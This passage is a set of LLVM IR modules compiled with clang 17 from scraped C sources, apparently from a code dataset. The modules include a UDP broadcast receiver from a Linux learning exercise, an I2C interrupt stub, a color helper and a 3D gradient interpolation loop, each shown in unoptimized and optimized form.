%30 = load i32, ptr @AF_INET, align 4 %31 = getelementptr inbounds %struct.sockaddr_in, ptr %4, i32 0, i32 0 %32 = call i32 @inet_pton(i32 noundef %30, ptr noundef @.str.3, ptr noundef %31) %33 = load i32, ptr %2, align 4 %34 = call i32 @bind(i32 noundef %33, ptr noundef %4, i32 noundef 12) %35 = icmp eq i32 %34, -1 br i1 %35, label %36, label %45 36: ; preds = %21 br label %37 37: ; preds = %36 %38 = load i32, ptr @stderr, align 4 %39 = load i32, ptr @errno, align 4 %40 = call ptr @strerror(i32 noundef %39) %41 = call i32 @fprintf(i32 noundef %38, ptr noundef @.str, ptr noundef @.str.1, i32 noundef 34, ptr noundef @.str.4, ptr noundef %40) %42 = load i32, ptr @EXIT_FAILURE, align 4 %43 = call i32 @exit(i32 noundef %42) #4 unreachable 44: ; No predecessors! br label %45 45: ; preds = %44, %21 store i32 12, ptr %7, align 4 %46 = load i32, ptr %2, align 4 %47 = getelementptr inbounds [1024 x i8], ptr %3, i64 0, i64 0 %48 = call i32 @recvfrom(i32 noundef %46, ptr noundef %47, i32 noundef 1024, i32 noundef 0, ptr noundef %5, ptr noundef %7) %49 = getelementptr inbounds %struct.sockaddr_in, ptr %5, i32 0, i32 0 %50 = load i32, ptr %49, align 4 %51 = call ptr @inet_ntoa(i32 noundef %50) %52 = getelementptr inbounds [1024 x i8], ptr %3, i64 0, i64 0 %53 = call i32 @printf(ptr noundef @.str.5, ptr noundef %51, ptr noundef %52) %54 = load i32, ptr %2, align 4 %55 = call i32 @close(i32 noundef %54) %56 = load i32, ptr %1, align 4 ret i32 %56 } ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write) declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #1 declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) #2 declare i32 @fprintf(i32 noundef, ptr noundef, ptr noundef, i32 noundef, ptr noundef, ptr noundef) #2 declare ptr @strerror(i32 noundef) #2 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) #3 declare i32 @setsockopt(i32 noundef, i32 noundef, i32 noundef, ptr noundef, i32 noundef) #2 declare i32 @htons(i32 noundef) #2 declare i32 @inet_pton(i32 noundef, ptr noundef, ptr noundef) #2 declare i32 @bind(i32 noundef, ptr noundef, i32 noundef) #2 declare i32 @recvfrom(i32 noundef, ptr noundef, i32 noundef, i32 noundef, ptr noundef, ptr noundef) #2 declare i32 @printf(ptr noundef, ptr noundef, ptr noundef) #2 declare ptr @inet_ntoa(i32 noundef) #2 declare i32 @close(i32 noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: write) } attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #4 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp6yo4j01x.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" %struct.sockaddr_in = type { i32, i32, i32 } @PF_INET = dso_local global i32 0, align 4 @SOCK_DGRAM = dso_local global i32 0, align 4 @stderr = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [16 x i8] c"[%s][%d] %s %s\0A\00", align 1 @.str.1 = private unnamed_addr constant [149 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/drsin/linuxCoreLearn/refs/heads/master/apue/day13/bcastr.c\00", align 1 @.str.2 = private unnamed_addr constant [7 x i8] c"socket\00", align 1 @errno = dso_local global i32 0, align 4 @EXIT_FAILURE = dso_local global i32 0, align 4 @SOL_SOCKET = dso_local global i32 0, align 4 @SO_REUSEADDR = dso_local global i32 0, align 4 @AF_INET = dso_local global i32 0, align 4 @.str.3 = private unnamed_addr constant [14 x i8] c"192.168.0.255\00", align 1 @.str.4 = private unnamed_addr constant [5 x i8] c"bind\00", align 1 @.str.5 = private unnamed_addr constant [11 x i8] c"%s:buf=%s\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca [1024 x i8], align 16 %4 = alloca %struct.sockaddr_in, align 4 %5 = alloca %struct.sockaddr_in, align 4 %6 = alloca i32, align 4 %7 = alloca i32, align 4 store i32 0, ptr %1, align 4 call void @llvm.memset.p0.i64(ptr align 16 %3, i8 0, i64 1024, i1 false) call void @llvm.memset.p0.i64(ptr align 4 %4, i8 0, i64 12, i1 false) call void @llvm.memset.p0.i64(ptr align 4 %5, i8 0, i64 12, i1 false) %8 = load i32, ptr @PF_INET, align 4 %9 = load i32, ptr @SOCK_DGRAM, align 4 %10 = call i32 @socket(i32 noundef %8, i32 noundef %9, i32 noundef 0) store i32 %10, ptr %2, align 4 %11 = icmp eq i32 %10, -1 br i1 %11, label %12, label %21 12: ; preds = %0 br label %13 13: ; preds = %12 %14 = load i32, ptr @stderr, align 4 %15 = load i32, ptr @errno, align 4 %16 = call ptr @strerror(i32 noundef %15) %17 = call i32 @fprintf(i32 noundef %14, ptr noundef @.str, ptr noundef @.str.1, i32 noundef 26, ptr noundef @.str.2, ptr noundef %16) %18 = load i32, ptr @EXIT_FAILURE, align 4 %19 = call i32 @exit(i32 noundef %18) #4 unreachable 20: ; No predecessors! br label %21 21: ; preds = %20, %0 store i32 1, ptr %6, align 4 %22 = load i32, ptr %2, align 4 %23 = load i32, ptr @SOL_SOCKET, align 4 %24 = load i32, ptr @SO_REUSEADDR, align 4 %25 = call i32 @setsockopt(i32 noundef %22, i32 noundef %23, i32 noundef %24, ptr noundef %6, i32 noundef 4) %26 = load i32, ptr @AF_INET, align 4 %27 = getelementptr inbounds %struct.sockaddr_in, ptr %4, i32 0, i32 2 store i32 %26, ptr %27, align 4 %28 = call i32 @htons(i32 noundef 9898) %29 = getelementptr inbounds %struct.sockaddr_in, ptr %4, i32 0, i32 1 store i32 %28, ptr %29, align 4 %30 = load i32, ptr @AF_INET, align 4 %31 = getelementptr inbounds %struct.sockaddr_in, ptr %4, i32 0, i32 0 %32 = call i32 @inet_pton(i32 noundef %30, ptr noundef @.str.3, ptr noundef %31) %33 = load i32, ptr %2, align 4 %34 = call i32 @bind(i32 noundef %33, ptr noundef %4, i32 noundef 12) %35 = icmp eq i32 %34, -1 br i1 %35, label %36, label %45 36: ; preds = %21 br label %37 37: ; preds = %36 %38 = load i32, ptr @stderr, align 4 %39 = load i32, ptr @errno, align 4 %40 = call ptr @strerror(i32 noundef %39) %41 = call i32 @fprintf(i32 noundef %38, ptr noundef @.str, ptr noundef @.str.1, i32 noundef 34, ptr noundef @.str.4, ptr noundef %40) %42 = load i32, ptr @EXIT_FAILURE, align 4 %43 = call i32 @exit(i32 noundef %42) #4 unreachable 44: ; No predecessors! br label %45 45: ; preds = %44, %21 store i32 12, ptr %7, align 4 %46 = load i32, ptr %2, align 4 %47 = getelementptr inbounds [1024 x i8], ptr %3, i64 0, i64 0 %48 = call i32 @recvfrom(i32 noundef %46, ptr noundef %47, i32 noundef 1024, i32 noundef 0, ptr noundef %5, ptr noundef %7) %49 = getelementptr inbounds %struct.sockaddr_in, ptr %5, i32 0, i32 0 %50 = load i32, ptr %49, align 4 %51 = call ptr @inet_ntoa(i32 noundef %50) %52 = getelementptr inbounds [1024 x i8], ptr %3, i64 0, i64 0 %53 = call i32 @printf(ptr noundef @.str.5, ptr noundef %51, ptr noundef %52) %54 = load i32, ptr %2, align 4 %55 = call i32 @close(i32 noundef %54) %56 = load i32, ptr %1, align 4 ret i32 %56 } ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write) declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #1 declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) #2 declare i32 @fprintf(i32 noundef, ptr noundef, ptr noundef, i32 noundef, ptr noundef, ptr noundef) #2 declare ptr @strerror(i32 noundef) #2 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) #3 declare i32 @setsockopt(i32 noundef, i32 noundef, i32 noundef, ptr noundef, i32 noundef) #2 declare i32 @htons(i32 noundef) #2 declare i32 @inet_pton(i32 noundef, ptr noundef, ptr noundef) #2 declare i32 @bind(i32 noundef, ptr noundef, i32 noundef) #2 declare i32 @recvfrom(i32 noundef, ptr noundef, i32 noundef, i32 noundef, ptr noundef, ptr noundef) #2 declare i32 @printf(ptr noundef, ptr noundef, ptr noundef) #2 declare ptr @inet_ntoa(i32 noundef) #2 declare i32 @close(i32 noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: write) } attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #4 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp7uuao1_c.c' source_filename = "/tmp/tmp7uuao1_c.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define weak dso_local void @I2C_Handler() #0 { %1 = call i32 (...) @default_isr() ret void } declare i32 @default_isr(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp7uuao1_c.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define weak dso_local void @I2C_Handler() #0 { %1 = call i32 (...) @default_isr() ret void } declare i32 @default_isr(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp2n5atyu5.c' source_filename = "/tmp/tmp2n5atyu5.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @COLOR_WHITE = dso_local global i16 0, align 2 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @CSLP_GetBackgroundColor() #0 { %1 = alloca i32, align 4 %2 = alloca i16, align 2 %3 = call signext i16 (...) @CSLP_GetCurrentPair() store i16 %3, ptr %2, align 2 %4 = load i16, ptr %2, align 2 %5 = sext i16 %4 to i32 %6 = icmp eq i32 %5, 0 br i1 %6, label %7, label %8 7: ; preds = %0 store i32 0, ptr %1, align 4 br label %24 8: ; preds = %0 %9 = load i16, ptr %2, align 2 %10 = add i16 %9, -1 store i16 %10, ptr %2, align 2 %11 = load i16, ptr %2, align 2 %12 = sext i16 %11 to i32 %13 = load i16, ptr @COLOR_WHITE, align 2 %14 = sext i16 %13 to i32 %15 = icmp eq i32 %12, %14 br i1 %15, label %16, label %19 16: ; preds = %8 %17 = load i16, ptr @COLOR_WHITE, align 2 %18 = sext i16 %17 to i32 store i32 %18, ptr %1, align 4 br label %24 19: ; preds = %8 %20 = load i16, ptr %2, align 2 %21 = sext i16 %20 to i32 %22 = and i32 %21, 56 %23 = ashr i32 %22, 3 store i32 %23, ptr %1, align 4 br label %24 24: ; preds = %19, %16, %7 %25 = load i32, ptr %1, align 4 ret i32 %25 } declare signext i16 @CSLP_GetCurrentPair(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp2n5atyu5.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @COLOR_WHITE = dso_local global i16 0, align 2 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @CSLP_GetBackgroundColor() #0 { %1 = alloca i32, align 4 %2 = alloca i16, align 2 %3 = call signext i16 (...) @CSLP_GetCurrentPair() store i16 %3, ptr %2, align 2 %4 = load i16, ptr %2, align 2 %5 = sext i16 %4 to i32 %6 = icmp eq i32 %5, 0 br i1 %6, label %7, label %8 7: ; preds = %0 store i32 0, ptr %1, align 4 br label %24 8: ; preds = %0 %9 = load i16, ptr %2, align 2 %10 = add i16 %9, -1 store i16 %10, ptr %2, align 2 %11 = load i16, ptr %2, align 2 %12 = sext i16 %11 to i32 %13 = load i16, ptr @COLOR_WHITE, align 2 %14 = sext i16 %13 to i32 %15 = icmp eq i32 %12, %14 br i1 %15, label %16, label %19 16: ; preds = %8 %17 = load i16, ptr @COLOR_WHITE, align 2 %18 = sext i16 %17 to i32 store i32 %18, ptr %1, align 4 br label %24 19: ; preds = %8 %20 = load i16, ptr %2, align 2 %21 = sext i16 %20 to i32 %22 = and i32 %21, 56 %23 = ashr i32 %22, 3 store i32 %23, ptr %1, align 4 br label %24 24: ; preds = %19, %16, %7 %25 = load i32, ptr %1, align 4 ret i32 %25 } declare signext i16 @CSLP_GetCurrentPair(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpxvao590a.c' source_filename = "/tmp/tmpxvao590a.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @BatchInterpolatedGradX3DTranMirr(ptr noundef %0, ptr noundef %1, i64 noundef %2, i64 noundef %3, i64 noundef %4, double noundef %5, double noundef %6, double noundef %7, double noundef %8, double noundef %9, double noundef %10, double noundef %11, double noundef %12, double noundef %13, i64 noundef %14) #0 { %16 = alloca ptr, align 8 %17 = alloca ptr, align 8 %18 = alloca i64, align 8 %19 = alloca i64, align 8 %20 = alloca i64, align 8 %21 = alloca double, align 8 %22 = alloca double, align 8 %23 = alloca double, align 8 %24 = alloca double, align 8 %25 = alloca double, align 8 %26 = alloca double, align 8 %27 = alloca double, align 8 %28 = alloca double, align 8 %29 = alloca double, align 8 %30 = alloca i64, align 8 %31 = alloca double, align 8 %32 = alloca double, align 8 %33 = alloca double, align 8 %34 = alloca i64, align 8 %35 = alloca i64, align 8 %36 = alloca i64, align 8 %37 = alloca i64, align 8 store ptr %0, ptr %16, align 8 store ptr %1, ptr %17, align 8 store i64 %2, ptr %18, align 8 store i64 %3, ptr %19, align 8 store i64 %4, ptr %20, align 8 store double %5, ptr %21, align 8 store double %6, ptr %22, align 8 store double %7, ptr %23, align 8 store double %8, ptr %24, align 8 store double %9, ptr %25, align 8 store double %10, ptr %26, align 8 store double %11, ptr %27, align 8 store double %12, ptr %28, align 8 store double %13, ptr %29, align 8 store i64 %14, ptr %30, align 8 store i64 0, ptr %34, align 8 br label %38 38: ; preds = %51, %15 %39 = load i64, ptr %34, align 8 %40 = sitofp i64 %39 to double %41 = load double, ptr %21, align 8 %42 = load double, ptr %24, align 8 %43 = fmul double %41, %42 %44 = load double, ptr %27, align 8 %45 = fmul double %43, %44 %46 = fcmp olt double %40, %45 br i1 %46, label %47, label %54 47: ; preds = %38 %48 = load ptr, ptr %16, align 8 %49 = load i64, ptr %34, align 8 %50 = getelementptr inbounds float, ptr %48, i64 %49 store float 0.000000e+00, ptr %50, align 4 br label %51 51: ; preds = %47 %52 = load i64, ptr %34, align 8 %53 = add nsw i64 %52, 1 store i64 %53, ptr %34, align 8 br label %38, !llvm.loop !6 54: ; preds = %38 store i64 0, ptr %34, align 8 store i64 0, ptr %37, align 8 br label %55 55: ; preds = %110, %54 %56 = load i64, ptr %37, align 8 %57 = load i64, ptr %20, align 8 %58 = icmp slt i64 %56, %57 br i1 %58, label %59, label %113 59: ; preds = %55 store i64 0, ptr %36, align 8 br label %60 60: ; preds = %106, %59 %61 = load i64, ptr %36, align 8 %62 = load i64, ptr %19, align 8 %63 = icmp slt i64 %61, %62 br i1 %63, label %64, label %109 64: ; preds = %60 store i64 0, ptr %35, align 8 br label %65 65: ; preds = %102, %64 %66 = load i64, ptr %35, align 8 %67 = load i64, ptr %18, align 8 %68 = icmp slt i64 %66, %67 br i1 %68, label %69, label %105 69: ; preds = %65 %70 = load i64, ptr %35, align 8 %71 = sitofp i64 %70 to double %72 = load double, ptr %22, align 8 %73 = fsub double %71, %72 %74 = load double, ptr %23, align 8 %75 = fdiv double %73, %74 store double %75, ptr %31, align 8 %76 = load i64, ptr %36, align 8 %77 = sitofp i64 %76 to double %78 = load double, ptr %25, align 8 %79 = fsub double %77, %78 %80 = load double, ptr %26, align 8 %81 = fdiv double %79, %80 store double %81, ptr %32, align 8 %82 = load i64, ptr %37, align 8 %83 = sitofp i64 %82 to double %84 = load double, ptr %28, align 8 %85 = fsub double %83, %84 %86 = load double, ptr %29, align 8 %87 = fdiv double %85, %86 store double %87, ptr %33, align 8 %88 = load ptr, ptr %16, align 8 %89 = load double, ptr %21, align 8 %90 = load double, ptr %24, align 8 %91 = load double, ptr %27, align 8 %92 = load ptr, ptr %17, align 8 %93 = load i64, ptr %34, align 8 %94 = add nsw i64 %93, 1 store i64 %94, ptr %34, align 8 %95 = getelementptr inbounds float, ptr %92, i64 %93 %96 = load float, ptr %95, align 4 %97 = load double, ptr %31, align 8 %98 = load double, ptr %32, align 8 %99 = load double, ptr %33, align 8 %100 = load i64, ptr %30, align 8 %101 = call i32 @InterpolatedGradX3DTranMirr(ptr noundef %88, double noundef %89, double noundef %90, double noundef %91, float noundef %96, double noundef %97, double noundef %98, double noundef %99, i64 noundef %100) br label %102 102: ; preds = %69 %103 = load i64, ptr %35, align 8 %104 = add nsw i64 %103, 1 store i64 %104, ptr %35, align 8 br label %65, !llvm.loop !8 105: ; preds = %65 br label %106 106: ; preds = %105 %107 = load i64, ptr %36, align 8 %108 = add nsw i64 %107, 1 store i64 %108, ptr %36, align 8 br label %60, !llvm.loop !9 109: ; preds = %60 br label %110 110: ; preds = %109 %111 = load i64, ptr %37, align 8 %112 = add nsw i64 %111, 1 store i64 %112, ptr %37, align 8 br label %55, !llvm.loop !10 113: ; preds = %55 store i64 0, ptr %34, align 8 br label %114 114: ; preds = %135, %113 %115 = load i64, ptr %34, align 8 %116 = sitofp i64 %115 to double %117 = load double, ptr %21, align 8 %118 = load double, ptr %24, align 8 %119 = fmul double %117, %118 %120 = load double, ptr %27, align 8 %121 = fmul double %119, %120 %122 = fcmp olt double %116, %121 br i1 %122, label %123, label %138 123: ; preds = %114 %124 = load ptr, ptr %16, align 8 %125 = load i64, ptr %34, align 8 %126 = getelementptr inbounds float, ptr %124, i64 %125 %127 = load float, ptr %126, align 4 %128 = fpext float %127 to double %129 = load double, ptr %23, align 8 %130 = fdiv double %128, %129 %131 = fptrunc double %130 to float %132 = load ptr, ptr %16, align 8 %133 = load i64, ptr %34, align 8 %134 = getelementptr inbounds float, ptr %132, i64 %133 store float %131, ptr %134, align 4 br label %135 135: ; preds = %123 %136 = load i64, ptr %34, align 8 %137 = add nsw i64 %136, 1 store i64 %137, ptr %34, align 8 br label %114, !llvm.loop !11 138: ; preds = %114 ret void } declare i32 @InterpolatedGradX3DTranMirr(ptr noundef, double noundef, double noundef, double noundef, float noundef, double noundef, double noundef, double noundef, i64 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7} !10 = distinct !{!10, !7} !11 = distinct !{!11, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpxvao590a.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @BatchInterpolatedGradX3DTranMirr(ptr noundef %0, ptr noundef %1, i64 noundef %2, i64 noundef %3, i64 noundef %4, double noundef %5, double noundef %6, double noundef %7, double noundef %8, double noundef %9, double noundef %10, double noundef %11, double noundef %12, double noundef %13, i64 noundef %14) #0 { %16 = alloca ptr, align 8 %17 = alloca ptr, align 8 %18 = alloca i64, align 8 %19 = alloca i64, align 8 %20 = alloca i64, align 8 %21 = alloca double, align 8 %22 = alloca double, align 8 %23 = alloca double, align 8 %24 = alloca double, align 8 %25 = alloca double, align 8 %26 = alloca double, align 8 %27 = alloca double, align 8 %28 = alloca double, align 8 %29 = alloca double, align 8 %30 = alloca i64, align 8 %31 = alloca double, align 8 %32 = alloca double, align 8 %33 = alloca double, align 8 %34 = alloca i64, align 8 %35 = alloca i64, align 8 %36 = alloca i64, align 8 %37 = alloca i64, align 8 store ptr %0, ptr %16, align 8 store ptr %1, ptr %17, align 8 store i64 %2, ptr %18, align 8 store i64 %3, ptr %19, align 8 store i64 %4, ptr %20, align 8 store double %5, ptr %21, align 8 store double %6, ptr %22, align 8 store double %7, ptr %23, align 8 store double %8, ptr %24, align 8 store double %9, ptr %25, align 8 store double %10, ptr %26, align 8 store double %11, ptr %27, align 8 store double %12, ptr %28, align 8 store double %13, ptr %29, align 8 store i64 %14, ptr %30, align 8 store i64 0, ptr %34, align 8 %38 = load i64, ptr %34, align 8 %39 = sitofp i64 %38 to double %40 = load double, ptr %21, align 8 %41 = load double, ptr %24, align 8 %42 = fmul double %40, %41 %43 = load double, ptr %27, align 8 %44 = fmul double %42, %43 %45 = fcmp olt double %39, %44 br i1 %45, label %.lr.ph, label %61 .lr.ph: ; preds = %15 br label %46 46: ; preds = %.lr.ph, %50 %47 = load ptr, ptr %16, align 8 %48 = load i64, ptr %34, align 8 %49 = getelementptr inbounds float, ptr %47, i64 %48 store float 0.000000e+00, ptr %49, align 4 br label %50 50: ; preds = %46 %51 = load i64, ptr %34, align 8 %52 = add nsw i64 %51, 1 store i64 %52, ptr %34, align 8 %53 = load i64, ptr %34, align 8 %54 = sitofp i64 %53 to double %55 = load double, ptr %21, align 8 %56 = load double, ptr %24, align 8 %57 = fmul double %55, %56 %58 = load double, ptr %27, align 8 %59 = fmul double %57, %58 %60 = fcmp olt double %54, %59 br i1 %60, label %46, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %50 br label %61 61: ; preds = %._crit_edge, %15 store i64 0, ptr %34, align 8 store i64 0, ptr %37, align 8 %62 = load i64, ptr %37, align 8 %63 = load i64, ptr %20, align 8 %64 = icmp slt i64 %62, %63 br i1 %64, label %.lr.ph8, label %126 .lr.ph8: ; preds = %61 br label %65 65: ; preds = %.lr.ph8, %120 store i64 0, ptr %36, align 8 %66 = load i64, ptr %36, align 8 %67 = load i64, ptr %19, align 8 %68 = icmp slt i64 %66, %67 br i1 %68, label %.lr.ph5, label %119 .lr.ph5: ; preds = %65 br label %69 69: ; preds = %.lr.ph5, %113 store i64 0, ptr %35, align 8 %70 = load i64, ptr %35, align 8 %71 = load i64, ptr %18, align 8 %72 = icmp slt i64 %70, %71 br i1 %72, label %.lr.ph2, label %112 .lr.ph2: ; preds = %69 br label %73 73: ; preds = %.lr.ph2, %106 %74 = load i64, ptr %35, align 8 %75 = sitofp i64 %74 to double %76 = load double, ptr %22, align 8 %77 = fsub double %75, %76 %78 = load double, ptr %23, align 8 %79 = fdiv double %77, %78 store double %79, ptr %31, align 8 %80 = load i64, ptr %36, align 8 %81 = sitofp i64 %80 to double %82 = load double, ptr %25, align 8 %83 = fsub double %81, %82 %84 = load double, ptr %26, align 8 %85 = fdiv double %83, %84 store double %85, ptr %32, align 8 %86 = load i64, ptr %37, align 8 %87 = sitofp i64 %86 to double %88 = load double, ptr %28, align 8 %89 = fsub double %87, %88 %90 = load double, ptr %29, align 8 %91 = fdiv double %89, %90 store double %91, ptr %33, align 8 %92 = load ptr, ptr %16, align 8 %93 = load double, ptr %21, align 8 %94 = load double, ptr %24, align 8 %95 = load double, ptr %27, align 8 %96 = load ptr, ptr %17, align 8 %97 = load i64, ptr %34, align 8 %98 = add nsw i64 %97, 1 store 